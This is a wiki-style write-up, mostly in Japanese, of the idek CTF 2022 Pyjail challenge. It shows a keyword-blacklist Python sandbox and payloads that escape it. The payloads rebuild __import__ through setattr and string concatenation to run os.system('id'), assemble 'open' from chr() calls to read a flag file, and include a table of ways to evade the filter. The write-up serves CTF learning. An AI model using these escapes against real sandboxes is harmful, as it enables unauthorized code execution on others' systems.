pyjail wiki

idek CTF 2022 - Pyjail / Revenge

Challenge

Pyjail

code = input()
if any(c in code for c in ['import', 'eval', 'exec', 'os', 'sys']):
print("Blocked!")
exit()
exec(code)

Pyjail Revenge

さらに厳しい制限。

Solution

setattr による属性設定

# __builtins__ の属性を操作
setattr(__builtins__, 'X', __builtins__.__dict__['__imp' + 'ort__'])
X('o' + 's').system('id')

antigravity モジュール

antigravity モジュールは webbrowser を import し、URL を開く。これを悪用:

# antigravity は内部で webbrowser を使用
# webbrowser.open() でファイルプロトコルを使用

File I/O

# open が使える場合
open('flag.txt').read()
# chr() で構築
getattr(__builtins__, chr(111)+chr(112)+chr(101)+chr(110))('flag.txt').read()

Technical Details

setattr の活用

# 属性の動的設定
setattr(obj, 'name', value)
# obj.name = value と同等
# builtins に関数を追加
setattr(__builtins__, 'myimport', __import__)

antigravity モジュール

import antigravity
# xkcd のコミックを開く
# 内部では:
import webbrowser
webbrowser.open("https://xkcd.com/353/")

文字列フィルタのバイパス

禁止文字列バイパス方法
import'imp' + 'ort'
oschr(111)+chr(115)
evalgetattr(__builtins__, ...)

Alternative Solutions

別解1: getattribute の利用

().__class__.__getattribute__(().__class__, '__bas' + 'es__')

別解2: format 文字列

'{0.__class__}'.format('')

Flag

idek{...}

References

  • idek CTF 2022 Official